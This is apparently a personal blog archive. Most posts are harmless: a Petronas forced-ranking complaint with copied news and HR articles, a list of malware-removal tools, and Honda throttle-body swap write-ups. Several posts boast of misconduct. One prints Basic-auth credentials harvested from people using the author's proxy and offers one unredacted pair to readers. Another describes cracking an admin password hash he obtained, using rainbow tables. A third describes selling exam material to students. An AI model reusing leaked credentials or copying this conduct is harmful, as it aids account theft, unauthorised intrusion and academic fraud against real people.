Int_13h:Dancing with Obsecurity

PETRONAS Staff Forced Ranking Disclosure

2010-07-13T05:56:00.000-07:00

what malaysian dont know about petronas nowadays..why people kept complaining and the reason why petronas staff is in danger of losing their jobs even now when PETRONAS are considered GLC.

ill disclose later when i have time to write down all of the details and i even attach the package.

What People Didnt Know about the biggest Malaysian Oil company

2010-04-18T06:00:00.001-07:00

Now were talkin,

Definately this new so called Malaysia's proud oil company are now seems to be quite rubbish nowadays under the new HRM VP dato bla..bla..bla..

We know that this company make a lot of money and it is a great public figure
but why on the outside where as the under the "big tree",people suffer?

This is a quote from the star on how well this company is

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Sunday March 21, 2010
Is Petronas on the right track?
By DATUK SERI DR FONG CHAN ONN

Many nations blessed with rich resources have enjoyed economic booms, but many have also been cursed by it. So what is Malaysia’s standing among the world matrix of oil-producing nations, and how well are we managing our oil revenue?

IN 1973, OPEC (Organisation of Petroleum Exporting Countries) unexpectedly imposed a sixmonth embargo on oil supplies, inducing the first global oil shock. Malaysia’s response to that was the incorporation of Petronas as the Malaysian oil corporation. The timing seemed right given that in 1971 the price of oil was just US$1.50 but by 1974 it was already averaging US$12 per barrel, making it viable for Petronas to extract oil from our off-shore reserves.

From 1974 till 2000, oil prices hovered between US$20 and US$30 per barrel. At these price levels, government subsidies for oil then was not an issue; nor was there much of a debate regarding Petronas and the management of Malaysia’s oil reserves until 1997, when Petronas’ money was used to build the Twin Towers and Putrajaya in spite of the onset of the Asian Financial Crisis.

Petronas came under scrutiny again in 2007 when oil prices ballooned to US$140 per barrel. In parliamentary debates, questions were asked about the windfall profits that were being made and how these profits were being managed and spent. At the same time, there was also public demand for transparency and accountability of Petronas.
Impressive landmark: The presence of the Twin Towers has transformed Kuala Lumpur into an international city while KLCC is now the benchmark for property prices in the city. – AFP

Once again the recent change in the leadership of Petronas has sparked off debates on the company’s operations and reporting; additionally the question of sustainability of its contributions to government revenues was also widely discussed.

True, many nations blessed with rich resources have enjoyed economic booms, but many have also been cursed by it. Perhaps now is a good time to explore Malaysia’s standing among the world matrix of oil-producing nations as well as the road ahead of us in the management of our oil revenue.

Dutch Disease?

Some nations, upon the discovery of a rich natural resource such as petroleum, have experienced the Dutch Disease; that is their economy began shrinking instead of expanding. This is because the discovery had led to an automatic boom in the export revenue and consequent appreciation of their exchange rates, which then caused the subsequent non-competitiveness of their non-oil sectors, particularly their manufacturing sectors.

The experience of the Netherlands in 1959 after the discovery of large natural gas fields only to see the rest of its economy shrinking led to the term “Dutch Disease”.

I will argue that Malaysia did not experience the Dutch Disease since 1974, for reasons that:

A single-minded pursuit of an export-oriented industrialisation policy since the 1970s has seen the manufacturing sector grow from RM36.5bil in 1987 to RM 491.9bil by 2008. In fact, it was during this period that Malaysia emerged as the world largest exporter of Electrical and Electronics (E&E) appliances with its export value growing from RM11bil in 1987 to RM277.3bil by 2008. Similarly, the services sector was not impinged by the presence of oil reserves, growing from RM36.7bil in 1987 to RM334.6bil by 2008.

·And as a consequence of a deliberate drive to push exports up, the Ringgit was maintained at about RM2.20 to RM 2.70 to the US$ since the 1970s, until Malaysia was hit by the Asian Financial Crisis in 1997 when the currency was then pegged at RM3.80 per US$. In fact, the Ringgit exchange rate has also declined since 1974 vis-à-vis other currencies: Japanese Yen from RM0.80 per 100 Yen in 1974 to RM3.77 per 100 Yen; Singapore Dollar from parity in 1980 to current RM2.43 per S$.

·In addition, recognising the limits of Malaysia’s petroleum reserves, there was the deliberate national policy of curtailing our oil output to about 600,000 barrels per day in order to extend the life span of our oil production. This policy was strictly adhered to by Petronas even during the period of peak oil prices in 2007 and 2008.

Petronas’ report card

Notwithstanding the absence of Dutch Disease symptoms, have we really made optimum use of our oil revenue? To answer this question, let us examine the record of Petronas’ contribution to the nation.

Role in National Development: Over the period 1974 to 1990, Petronas was focused on building up the company. It expanded into downstream activities with a urea plant constructed in Sarawak in 1976. Next, it ventured into direct exploration and production in 1978. Then it went on to build the Kerteh and Malacca refineries in 1983, signalling its foray into refining and distribution.

As Malaysia was also keen to be involved in Liquid Natural Gas (LNG), Petronas bought up five tankers through its subsidiary, MISC. And as part of the gasification policy of the peninsula, the Peninsular Gas Utilisation Pipeline (PGU) was built with its first phase completed in 1985 at an estimated cost of RM720mil. The PGU now runs from Terengganu to Songkla, Thailand.

The PGU was not only crucial to the development of a domestic gas industry, but it also helped transform Malaysia to become the 3rd largest LNG producer in the world.

An International Corporation: Given Malaysia’s limited oil reserves, Petronas knew that its long-term survival required it to extend beyond the shores of Malaysia. It made crucial discovery in Vietnam in 1994, and later in Cambodia, China, and Algeria. Today, Petronas operates in at least 30 different countries, has more than 100 subsidiaries and owns a fleet of more than 100 tankers and ships through MISC. Its production from its overseas ventures now makes up almost half of its total overall oil and gas production.

Further, because of Petronas’ large financial reserves and sound independent management, it is well respected internationally. In 2008, it ranked as the eighth-best profits-making company, and the fifth in the petroleum industry. Its bond issues are always eagerly subscribed to by the international community at A1 level, thus acting as a surrogate Malaysia Sovereign Bond. This enables the nation to borrow at low interest rates from the financial global market for its developmental purposes.

For comparison, Thailand’s sovereign rating is at BBB, Indonesia at BB+ and Singapore AAA.

Contributor to government revenue: Petronas started contributing to government revenue in 1976 with a sum of RM300mil, rising to RM2bil a year by 1981. Due to increasing oil prices, by 2005 it was able to provide RM32.1bil (56.5% of net profits) to government revenue, increasing to RM74bil (78.9% of net profits) in 2009, which formed about 45% of total government revenue for the year.

Since its incorporation, Petronas has paid RM471bil to the Government, in addition to bearing a cumulative subsidy of RM97bil under the national gas utilisation plan.

As the controversial White Knight: Petronas, as an off-budget agency directly under the Prime Minister, is not without controversy. Its large reserves made it a tempting target for bail-outs. It was asked to bail out Bank Bumiputera in 1985 with an injection of RM2.5bil when the bank collapsed under the weight of loans to the Hong Kong Carrion Property Group. It was again directed to bail out the same bank at RM1bil in 1991. When Bank Bumiputera collapsed for the third time in 1997, was Petronas again asked to come to the rescue? Only the fly at Tan Sri Merican’s (then CEO) office at that time would know. Suffice to say Bank Bumiputera now is part of CIMB.

Petronas also bailed out Konsortium Perkapalan Berhad (KPB), through MISC, which suffered RM2bil losses during the 1997 financial crisis. This, of course, was a subject of much political debate then.

Petronas’ mega projects: At the peak of the Asian Financial Crisis, Petronas went ahead and completed the Petronas Twin Towers (RM6bil) and Putrajaya (RM22bil). At that time it was subjected to much ridicule, with jokes like “we could sell off one tower to Brunei to get some cash…” etc going around.

With the benefit of hindsight, however, were these decisions wrong?

The presence of the Twin Towers has transformed Kuala Lumpur into an international city while KLCC is now the benchmark for property prices in the city.

Similarly, although Putrajaya is still a quiet place, its completion contributed to the rise of prosperous townships stretching from Kajang, Puchong, and Subang to Petaling Jaya.

Nevertheless, one may still ask: Is it really Petronas’ core business to undertake mega infrastructural projects on its own? Is it not going beyond its mission (as the agency in charge of the nation’s petroleum reserves) to venture into activities that it is not an expert in? By spending RM544mil in building the six-star Prince Court Medical Centre, is it not really stretching itself way beyond its borders?

Absence of a vibrant oil and gas sub-sector

With Petronas’s emergence as an international oil company, there is a glaring missing link – its failure to nurture a vibrant oil and gas sub-sector in the country. The oil and gas sub-sector is barely a key driver of the Malaysian economy. In fact, the key leading sector that has primarily driven the Malaysian economy over the last three decades has been the E & E industries, which now contribute to over 30% of our exports.

Malaysia is known for being a premier E & E hub for Asia, but not as an oil and gas hub. There are only about 60 companies listed on Bursa that are related to oil and gas activities, which is equivalent to the number listed on the Singapore Stock Exchange. And Singapore is not even an oil producing nation!

The wealth of our oil resource has not filtered down to the economy, particularly the small and medium enterprises (SMEs) sub-sector that should be the backbone of any growing economy.

No doubt the development of downstream activities such as polypropylene, fertilisers and other chemicals is present and substantial. However, there is a distinct absence of a significant value chain of oil and gas suppliers, including supporting industries like catering, basic raw materials, tooling and equipment, uniforms, and packaging.

As an oil-producing nation, we do not have a significant oil and gas talent pool. There are only a handful of Malaysians involved in the technical support of the oil and gas sector, such as welders, toolers and riggers. In fact, there are many more electrical and IT technicians in the country than oil and gas technicians.

The bidding process by Petronas has been structured in a way that stifles SME growth in this sector. The bumiputra requirements, depending on the size and nature of the contract, can vary from 30% to as high as 70%.

Oil and gas licences are excruciatingly difficult to acquire, and the conditions are stringent to a point of exclusion.

It has also long been felt that the bidding process is not transparent, and favoured the foreign players more than the non-bumiputra players. Petronas contracts signed with foreign players far outnumber those with local companies.

Comparison with some oil producing nations

How does Petronas’ record and our management of the oil revenue compare with other countries?

I have chosen five other models namely Nigeria, Venezuela, Indonesia, Alaska and Norway, looking at how each country has done in the management of their oil reserves. While it may be arbitrary, it helps give us some indication beyond our own parochial, sometimes prejudiced, view of ourselves.

Nigeria

Nigeria is the largest oil producer in Africa and the tenth largest producer of crude oil in the world. In 2005, Nigerian oil production averaged 2.6 million barrels per day. The Nigerian economy is almost totally dependent on the oil sector; it makes up 95% of export revenues, 76% of government revenues, and accounts for about 30% of GDP.

Nigeria was among the richest 50 countries in the early 1970s but the blatant abuse of petrol power (coupled with its record of ethnic conflicts) pitifully regressed it to the rank of the 25 poorest countries by 2000.

Although the situation in Nigeria has improved over the last few years, the amount of human suffering that has beseeched its citizens due to mismanagement, and greed leading to violence against its own people, is unspeakable.

Venezuela

The oil and gas sector constitutes a third of this nation’s GDP, around 80% of its export, and more than half of its government’s revenue. It is the ninth largest oil producer in the world.

Oil revenue is central to Venezuelan politics, giving rise to a rent-seeking culture and an entrenched patronage system. Due to the volatility of oil prices, the Venezuelan economy goes through boom and bust cycles, along with it a “yo-yo” cycle of government spending.

Despite Venezuela’s estimated US$600bil in oil exports since the early 1970s, real per capita income fell by 15% between 1973 and 1998. Its GDP has been declining on an average of 2.2% from 1985 to 2000.

Due to its huge oil production value, Venezuelans have no incentive to look elsewhere for diversification. Today, the Venezuelan economy continues to be plagued with structural problems and is ever more dependent on its oil reserves.

Indonesia

Pertamina, Indonesia’s oil corporation, was set up in 1968 at a time when foreign companies dominated the oil industry. Its oil output then increased from 500,000 barrels per day to 1.5 million barrels per day in 1974, contributing up to 15% of Indonesia’s GDP then.

By 1974, it was a huge company to be reckoned with, having its own drilling equipment, a chain of gasoline filling stations, and a fleet of hundreds of tankers. It had non–oil assets as well; with ownership of hotels, tourism complex, automobile distributorship, first class hospitals, television studios, insurance companies, and the US$2.5bil Krakatau steel mill.

Unfortunately, Pertamina fell into mismanagement and abuse and collapsed as an oil company in 1975.

In the early 1980s, the Indonesian oil and gas industry underwent extensive reforms.

One key aspect of the reforms is the revamp of Pertamina through the establishment of independence; with authorities removed from regulators to agencies. The oil and gas industry was also liberalised, which resulted in the ending of oil and gas monopolies and helped to improve production efficiency and profits.

Through these reforms, the Indonesian government managed to revitalise not only the oil sector but also the non-oil sectors (such as manufacturing), and improved the livelihood of its people with aggressive rates of economic growth.

Alaska

Petroleum extraction constitutes more than 80% of Alaska’s revenue. This state is very concerned about government expenditures being overly dependent on oil, as well as the impact of price volatility on its economy. In 1976, an Act was passed requiring 25% of the Government’s oil royalty to be deposited into the Alaska Permanent Fund.

As at 2007, the fund stood at US$33bil and about half of the year’s dividend income was distributed to all Alaskans equally as cash payouts.

The net effect of the Alaska Permanent Fund is that it helps to stabilise cash flow for the state and also improves the income of its people, especially those in the rural areas. Being a poor state, the annual cash payments given out to all residents could also act as a stimulus to spur economic growth.

Norway

In the 1960s, Norway’s GDP per capita was lower than that of Sweden and Denmark. By the year 2000, the situation had reversed with Norway in the lead, due to the discovery of oil off the Norwegian coast. Currently, the oil industry is a very important component of the Norwegian economy, producing three million barrels of oil per day. With a population of 4.8 million, this works out to 0.63 barrels of oil per day per Norwegian!

Norwegians were quick to learn from the Dutch that its resources had to be managed in a sustainable manner.

In 1990, A Norwegian Petroleum fund was established with the main aim of acting as a buffer to smoothen oil price fluctuations, and stabilising the exchange rate to avoid the dreaded Dutch Disease. As Norway has an aging population, the fund is also meant to help address the future needs of the country.

At the end of 2001, the size of the fund (at US$400bil) was equivalent to 45% of its GDP, and this fund is invested abroad to avoid overheating the Norwegian economy.

The fund is widely rated as one of the best managed sovereign funds, and this is due to the strict guidelines for its operations for which the authority goes back to the Parliament. Any transfer to and from the funds needs Parliamentary approval. The Government is also required to report to Parliament on the fund’s status – three times a year.

This is the first of a two-part article. Next week, Dr Fong will discuss “The Way Forward: Creation of a Future Malaysian Fund from Oil Revenue”."

Yup!!!..surely you'll be interested to be in this giant company rite?students would dream of working for this big company but lets see on how well this company treated it's professional worker aka Executives.

Currently they are embarking on a new initiatives held by this HRM which is called "Forced Renking"

What is forced raking?

HERE IT iS
Found it when i google

Forced ranking is a controversial workforce management tool that uses intense yearly evaluations to identify a company's best and worst performing employees, using person-to-person comparisons. In theory, each ranking will improve the quality of the workforce. Managers rank workers into three categories: The top 20 percent are the "A" players, the people who will lead the future of the company. They're given raises, stock options, and training. The middle 70 percent are the "B" players, steady-eddies who are given smaller raises and encouraged to improve. The bottom 10 percent are the "C" players, who contribute the least and may be meeting expectations but are simply "good" on a team of "greats." They're given no raises or bonuses and are either offered training, asked if they'd be happier elsewhere, or fired.
Key Stats

Why It Matters Now

Although most large organizations refuse to publicly discuss or even confirm whether they're using some form of forced ranking, as many as one-third of Fortune 500 companies use such systems, says Dick Grote, author of "Forced Ranking: Making Performance Management Work." Forced ranking first gained attention at General Electric in the 1980s. The practice lost its glimmer in recent years following Enron's downfall, which has been attributed in part to back-biting spurred by forced rankings. But with unemployment at its lowest level since the 1990s, the talent war has heated up again, making it more important to identify top performers, since they're being more heavily recruited.

Why It Matters to You

Forced ranking tends to be popular with large corporations that have hundreds or thousands of employees and need to systematize their HR processes. If your workplace is one of these—and if the company is in trouble and looking for solutions—forced ranking could be in your future. The long-run impact should ideally be increased productivity, profitability, and shareholder value. But sometimes a company culture can shift due to forced ranking, creating a more competitive atmosphere and decreasing morale.

If you're in the market for a new job, spend some time researching which companies in your industry use forced ranking. Some firms will not openly offer this information to potential employees.
The Strong Points

By identifying their top employees, companies can jolt managers out of complacency, combat artificially inflated performance ratings, and reduce favoritism, nepotism, and promotions that may be based on factors other than performance. Managers can identify top performers—the people they least want to lose—and reward, keep, and train them to be future leaders of the business. Forced ranking also provides a justifiable way to identify and lose workers who may be holding the business back. About 40 percent of "C" players voluntarily resign, which is often a happy outcome for managers, who can then hire better-quality replacements.
The Weak Spots

Companies can inevitably make mistakes using forced ranking, firing someone who might go on to be a super star elsewhere or discouraging excellent performers by ranking them as mediocre simply to fill a quota. Replacing lower-rung employees each year can also be costly and can lower productivity in the early months of adoption. New data, including a study by Drake University professor Steve Scullen, shows that forced ranking loses its effectiveness after a couple of years, since the average quality of workers increases and there are fewer "C" players to identify.

Critics also claim the system creates a competitive environment that can result in cutthroat, unethical behavior; limit risk-taking, creativity, and teamwork; and discourage workers from asking for help or extra training out of fear that they'll be identified as low performers. The strategy has also resulted in legal troubles for such companies as Microsoft, Ford, Goodyear, 3M, and Capital One, which have fought discrimination lawsuits filed by former employees who claimed forced ranking was used to discriminate on the basis of race or age.
Key Players

General Electric: The most famous practitioner of forced ranking in the 1980s and 1990s. Former CEO Jack Welch suggests that forced ranking helped grow GE's revenues to $130 billion in 2000 from $70 billion in 1995.

Yahoo! The Internet company created its own version of forced ranking, called "stack-ranking," to determine how compensation increases are distributed. Managers rank employees from top to bottom and award bonuses and raises accordingly.

Ford Motor Co.: The car manufacturer employed forced ranking until 2001, when Bill Ford took over as CEO. Ford settled a lawsuit for $10.6 million that year when fired employees alleged age discrimination.

Motorola: The phone maker relied on forced ranking between 2001 and 2003 but has since discontinued using the management system.
How to Talk About It

Despite widespread usage, most executives and human resources officials won't use the term "forced ranking" to refer to their own process because the phrase itself seems harsh. People refer to it as their "talent management process" or "leadership assessment procedure."

Relative comparison: An appraisal that compares employees against each other, forcing some to be rated above others, such as, "How did Joe do compared to Sally and Bob?"

Absolute comparison: A conventional performance appraisal, such as, "How good did Joe do against the responsibilities and goals set at the beginning of the year?"

Forced distribution: An appraisal that does not compare people against each other but gives employees ratings such as "excellent," "good," or "needs improvement." A set number or percentage of workers must fall into each category.

Thats the fact of this whole thing,but lets looks at the PRO and CONS of this thing.

PROS

Requires reluctant managers to identify the most and least talented members of the work group. "It's difficult to confront poor performers, but going easy on employees can just create more problems for an organization," says Grote. "Forced ranking
forces organizations to acknowledge that talent variations actually exist."

Provides the organization with useful data on the ability of managers to spot and champion talent. "What the managers learn in terms of talent in the organization is one of the greatest benefits of forced ranking," Grote says. "Their thinking processes are challenged and they learn how to make good decisions about employee potential."

Provides an independent verification of performance appraisal data. Forced ranking is not a substitute for a performance appraisal. Forced ranking affects only those at the top, while performance appraisal affects everybody. "Companies must have a robust performance appraisal process in place before considering forced ranking," Grote says.

As larger groups are evaluated, the forced ranking process may permit more accurate cross-department comparisons. "Forced ranking provides a great benefit to talented employees," Grote explains. "The process brings these individuals to the attention of a large number of senior executives."

CONS

Morale is negatively affected. Organizations in which employees are encouraged—even rewarded—for focusing on their individual performance instead of working with and supporting others do not tend to be happy, motivating places to work, according to Bob Rogers, president of Development Dimensions International, Pittsburgh. "Forced ranking might weed out the people an organization would like to see go, but oftentimes valued performers become disenchanted with the work environment and end up leaving."

Grote admits that some managers and employees may resent the process. "I guarantee you'll have to drag a number of employees kicking and screaming into the process," he says. "But that's to be expected with any major change."

Employees ranked in a lower category may be demoralized. "This is true, but keep in mind that the people we are talking about are in the bottom category anyway," Grote says. "If they are demoralized, but everybody else is energized, that's a good thing."

The process may produce an excessively competitive environment. "I have never seen it to be true. That is one of the easiest things to overcome because forced ranking takes away competitiveness," argues Grote. But Rogers believes forced ranking increases the competitiveness among peers who know they are being ranked. "Forced ranking changes the culture from 'we are all in this together' to 'if I help that person too much, she might be ranked above me,'" he says.

Mistakes are inevitable. "You're bound to miss a few late bloomers and overrate a few glib duds," Grote says. —G.J.

Im sure of you are working for this big company you'll know that how unfair of the system to Executives

Here the facts:

1)Forced ranking only applies to Executives
2)Technicians are not eligible for this scheme

My opinion on this new initiatives of HRM in this big company in order to increase the revenue and profit

1)Review back the technician mileage claims/impose redius setlement or fixed rate mileage claim.ie Workplace was 103km from home.Everyday claims amounting to RM 3000 a month!.What the heck???! that was just for one person.Imagine this big company holding about 20,000 of its technicians worldwide.What is the big amount? its RM 8,000,000 a month.Just Imagine...

2)Dont spend your money lavishly on things just to let "poeple acknowledge PETRONAS" ie F1,Coporate Service Responsibility Programme,sponsoring this and that

3)Executive to have a union like KAPENAS which they will have some "shoulder to cry" to.

4)Stop this nonsence initiatives.

Man..im out of ideas now..well gtg.Just my 2cents thought.

So many malware and spyware

2008-09-08T03:48:00.000-07:00

oh..feels like an author again..actually im trying to get rid of malware from my computer..this things are bought back from my worm farm workplace:P

Ive come across alot of advertisements from what i google on how to remove theese malware but yet..only a few can remove/prevent this malware from getting in your computer

This is the name of malware that has infected my computer. permatainstep.js <--harmless but annoying mawar virus<--very irritating and a few that i cant remember.

Currently i want to share my experience on software that is actually removes almost all of your malware@spyware

Theese are:

Malwarebytes

Superantisyware

USBdisk security<--a must my friend..very good

and also

Sergiwa RRT<--removes restriction set by malware on your computer..indeed good

Sergiwa CASiR

all of this things are in my computer and they manages to stop/remove/prevent all those malware and spyware from entering your computer.

P/S:Im not responsible for any losses made from this programs as stated in the agreement of each of the software makers.I also cant be held responsible for any things that go wrong after using the software..it is just my thought as ive ben using them and i find it good and should be advertise.That's all folks.
well..im finished..now all gone:)gtg...have my dinner

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Still waiting for the host computer to power up

2007-10-02T15:33:00.001-07:00

The current time is: 6:28:40.40am

im still awake waiting for 8:00:00am for my host computer to wake up:) i need to get more papers from it..greedy am i?that's what i call survival for a jobless people.mom..sorry for not telling the truth:P i need money mom..n i don't want to trouble u anymore..

now im doing the index.html for my site which is http://project-tango.info

and still..i didnt managed to get the banners designright..yeah..yeah..i know..im sucks at photoshop..thinking of plagiarize other peoples work>:)

The current time is: 6:34:53.00

ah..still waiting for sunshine and im beginning to download rubbish stuff from rapidshare:) thanks for the free account guys..and thank you for using my proxy..haha

Host: rs133gc.rapidshare.com
Authorization: Basic ZXJmaWFudG86YmF5dTE5NzM= [erfiaxxx:xxxxxxx]

Host: rs17l3.rapidshare.com
Authorization: Basic YWRoeTpuZ2V0b3A= [axxx:xxxxx]

GET http://members.boysfirsttime.com/faces/ HTTP/1.0
Host: members.boysfirsttime.com
Authorization: Basic Y3RrZGphbmUxOlNhbGFuZQ== [ctkdjane1:Salane]<--well i give one pass it u want to take:)

Cracking mood

2007-10-02T15:20:00.000-07:00

11/10/2004 01:04 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#000.rt
11/10/2004 01:14 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
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11/10/2004 01:42 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#004.rt
04/28/2007 01:06 PM 176,406,448 md5_mixalpha-numeric-all-space#1-6_0_1000
0x11025403_distrrtgen_4.rt
04/28/2007 01:03 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_0.rt
04/28/2007 01:04 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_1.rt
04/28/2007 01:05 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_2.rt
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0x33554432_distrrtgen_3.rt

Ive been downloading for about 1 day now and i have finished downloading 10 tables now..still got 45 tables to go :i
man thats alot..but i still determined to crack the admin pass that i obtained and as far that ive known..my lm_alpha-numeric cant crack the pass..so i ave to download this table..60gb in size..i hope that it will finished on time..
this is the damn hash..man..it hard to crack this one..
DDF770BB0D20450F96690E39xxxxxxx:429717DBFA1BA1C8DB4B736Exxxxxxxx
:censored:

now ive been looking for rainbow table for office documents:) really new actually but im pretty sure that there must be one on the net and im still searching..:O byw..i think i have to buy a new portable HD just to cater my cracking needs..

In my university again!!

2007-10-02T14:45:00.002-07:00

argh!!! yeah..yeah..i know..now that i got no jobs and got no money and got nothing to do..i went back to my university..ive been sitting here for almost 2 weeks now and i haven't earned a single penny from the students.I need duit raya la for this year. i need to change my vtec engine coz im very boared with that engine.

Know why? 1)vtec in satria sounds weird right
2)no aircond
3)the mounting always get worn out every 2-3 month
how the hell im going to replace that if i don't have money?mm.. and now ive made my decision to take he mitsubshi 4g61 engine.

but first things first..i have to sell my engine at 4K and then buy the 4g61 engine for 3.8K then have to buy the new dashboard..the gearbox and make my car look like a car(now it doesnt).

Hm..now it's called Int_13h MLM(Multi level marketing) i've been giving out what the students need to pass their exams and now their bargaining on the price.WTF? you have what it takes to pass and graduate bt u still want to bargain the price.Thats what i call not appreciating what is given to u rite?what happens if all this are not possible in the university?maybe u'll be dying and struggling for that subject rite?

I guess maybe their now afraid coz the exam day are far away and tests also have not been condusted yet..but now ive been thinking to raise the price;) coz i think that they are arrogant rite?nvm..later ull come for it..and during that time..it'll be lot more expensive than before.FYI i just want to earn around 1-2K god dammit!!

Ford XF Throttle Body Installation

2007-04-25T05:09:00.000-07:00

Ford XF Throttle Body Installation

This section contains the installation details of the Ford XF throttle body into my Honda Civic (including photos). The Ford XF throttle body was obtained from a local Ford wrecker. It is from a straight 6 Ford XF Falcon.

Dimensions

Below is a table containing a series of dimensions used to compare both the first and second generation B16A Honda throttle bodies and the Type R throttle body with the Ford XF throttle body. The Ford XF throttle body is much larger than any of the stock Honda ones.

Throttle body measurements
Measurement	B16A G1	B16A G2	B18C spec.R	Ford XF
Opening - Front	62mm ID, 69mm OD	n/a	n/a	71mm ID, 81mm OD
Opening - Back	59mm	63mm	n/a	67.5mm
Butterfly	58mm	60mm	62mm	65mm (68mm available)
Butterfly to back	20.5mm	20.5mm	20.5mm	53mm

Installation Steps

Installing the Ford XF throttle body is by no means an easy task for the Honda intake manifold. If you do want to use a Ford XF throttle body I suggest getting a second intake manifold (preferably the second generation model), because there is a possibility that it could all turn to custard since there is quite a bit of welding and grinding involved if you want to do it properly.

Here are the steps that we went through to install the Ford XF throttle body.

Fill the existing TB mounting holes, and the existing air supply lines to the Idle Air Control Valve (IACV). You'll need to know someone that is competent at welding aluminium for this step.
Clean up the face of the intake manifold taking care not to mark the face too much. Otherwise you may end up with an air leak between the intake manifold and the throttle body when it is put back together again.
Line up where the new TB will be mounted, taking care that you will be able to port match the intake manifold without breaching any of the existing cavities. On the second generation intake manifold the right hand side of the original hole was left and all of the material was taken out from the left.
Mark the locations of the mounting holes and where the manifold has to be port matched to.
Port match the intake manifold and drill and tap the mounting holes. You need to remove a lot of aluminium during the port matching because the back of the Ford XF throttle body is much larger than the stock Honda one.
Drill a hole into the back of the intake manifold that will breach the old IACV air supply line. This is not required if you don't mind the car idling low on a cold morning, or when the air conditioning is on. Weld on a spiggot that will be used to connect the air supply line from the existing Ford XF TB arrangement.
Below is a comparison of the port matched second generation intake manifold compared to a first generation intake manifold (the one that is stock standard on the 1990 Honda Civic SiR).
Now you have to drill a hole into the Ford XF throttle body that will be used for the vaccum line that connects to the Honda MAP (Manifold Absolute Pressure) sensor. We drilled a hole through the side of the manifold in the big square bit at the back and epoxied in a stock Honda vacuum line pickup that we pulled out of an old Honda throttle body that was lying around.
The stock Ford XF throttle body contains two large air lines before the throttle body. One of these will be used to supply air to the IACV valve, but the other one is not needed. We just pulled out the brass pickup and got some aluminium rod the same size as the hole and then plugged it up.
Create (or purchase) the gasket for the Ford throttly body and then attach it to the intake manifold. We just made a gasket out of some gasket paper. We also sprayed the intake manifold and throttle body with a high temp ceramic white paint in an attempt to prevent the intake from heating up through the conduction of the underhood air temperature.
The next part was to get the throttle position sensor (TPS) sorted out so that it will register the correct voltage at closed, WOT and every where in between. Upon measuring the resistance of the Ford TPS at both the minimum and maximum rotation angles it was quite different to that of the Honda TPS at both minimum and maximum rotation. To prevent any problems with the TPS and so we could use the stock Honda wiring harness we decided to see if we could make up an adapter so that we could use a standard Honda TPS. The picture below shows the Ford XF TPS next to a chopped up Honda one.
To make the adapter we needed to remove the bit that contacts the Honda TPS from the end of a Honda butterfly spindle and attach that to the end of the Ford XF butterfly spindle. That bit is attached with a sleeve that slides over the Ford spindle and is secured using the standard split pin that normally turns the Ford TPS. We also needed to fabricate a block that could be attached to the Ford XF throttle body, but allow us to use the Honda TPS. The pictures below show all of the bits for the adapter, and the adapter installed in place on the Ford XF throttle body.
The next step is to make sure that you get full throttle and adjust the butterfly stop if you are not. Note how much bigger the opening of the Ford throttle body is compared to a stock Honda one. Note also the hose that connects the air supply from before the throttle plate to the IACV valve.
Below are some photos of the finished intake manifold compared to the stock second generation intake manifold and throttle body that used to be on the car.

Problems

After installing the new throttle body and intake manifold on the car, we had massive problems trying to get it to idle at anything below 2000rpm. It turns out the the Ford XF throttle body is not machined to similar standards as the stock Honda throttle body. After taking the throttle body off the car and looking at how well the throttle plate seals with the rest of throttle body, it was clear that there was probably enough air getting past it to cause the problem. We also checked the idle bypass screw and that too was letting quite a bit of air past when it was completely closed.

To remedy the problem the Ford XF throttle body was bored out to 66.5mm and had a new throttle plate created to fit the new surface. The throttle bypass screw was also altered so that it actually closes and shuts off (well almost) all of the air.

So, when purchasing a Ford XF throttle body, be sure to check how well the throttle plate shuts. This can be done by looking at the plate with a strong light behind it. Any gaps between the throttle plate and the throttle body will be apparent as light gets past. Also check the idle bypass screw. This is a little harder to do, but can be done by trying to blow through the throttle body when it is closed and feeling for air escaping where the idle bypass exits on the other side of the throttle plate. A bit of moisture on a finger can help detect the air.

Results

With the car now running properly and having dynoed the car, there were some pretty good gains. The car gained 5kW at peak and 10Nm at peak.

Ford XF Throttle Body Swap

2007-04-25T05:06:00.000-07:00

Ford XF Throttle Body Swap

For pictures and details of the Ford XF throttle body swap, go to the Ford XF Throttle Body Installation web page.

In the search for more power, a bigger throttle body (TB) was determined to be the next place to investigate given that the intake, headers and exhaust had already been improved. Since I have access to a lathe and other machinery, the first thing I investigated was overboring the standard Honda throttle body.

Upon investigation, the standard second generation B16A throttle body looks like it can only be bored by about 1mm, perhaps 2mm before you breach into the cavity that the throttle position sensor (TPS) lives. Such a small increase in diameter for the amount of other work that is involved just didn't seem worth it. So I decided to investigate the option of swapping in a completely different throttle body. Of course the best place to start looking is in the range of OEM throttle bodies that Honda produces. Unfortunately, the 60mm throttle plate in the second generation B16A TB is the largest size that Honda produces apart from the B18C Type R throttle body, which is only 2mm bigger at 62mm.

For all the potential hassle that could be involved with doing a TB swap, an extra 2mm just didn't seem like enough. Mainly because I don't like doing things in a small way. I figure that if you are going to do a modification, you might as well do it big to get a noticeable change. I started looking at what aftermarket throttle bodies were available to swap in for the standard B16A throttle body and found several:

Spoon 70mm TB
RC Engineering 64mm Overbored TB
Erick's Racing TB

The Spoon 70mm throttle body (despite its name) in fact only has a 62mm throttle plate. The 70mm refers to the internal measurement at the end of the machined taper intake. The RC Engineering overbored throttle body looks like a first generation B16A throttle body that has been overbored to 64mm. I am not sure how they got around the cavity breach problem underneath the TPS. I suspect they filled in the cavity with weld before overboring, which looks completely feasible (however, the MAP sensor vacuum pick up point may of had to be altered as well). The Erick's Racing throttle body looked fantastic, but it cost way more than that I was willing to pay for one. Also any of these throttle bodies would have to come from overseas, which makes the prices even more ridiculously expensive when you are paying with New Zealand dollars and have to pay US prices.

I remembered reading somewhere that someone had managed to use a throttle body off a Ford Falcon somewhere else in New Zealand (the land of Kiwi ingenuity) to get substantially more air. I did some more research locally and found out that a Ford XF throttle body can be obtained with either a 65mm or 68mm throttle plate. They can also be obtained at a pretty good price at the local Ford parts wrecker. This option seemed to satisfay all my criteria: relatively cheap with a pretty good increase in size. The only downside was that some fabrication may be required, but this didn't really bother me. After all, nothing comes for free. I think that these throttle bodies usually live on a Ford straight 6 engine.

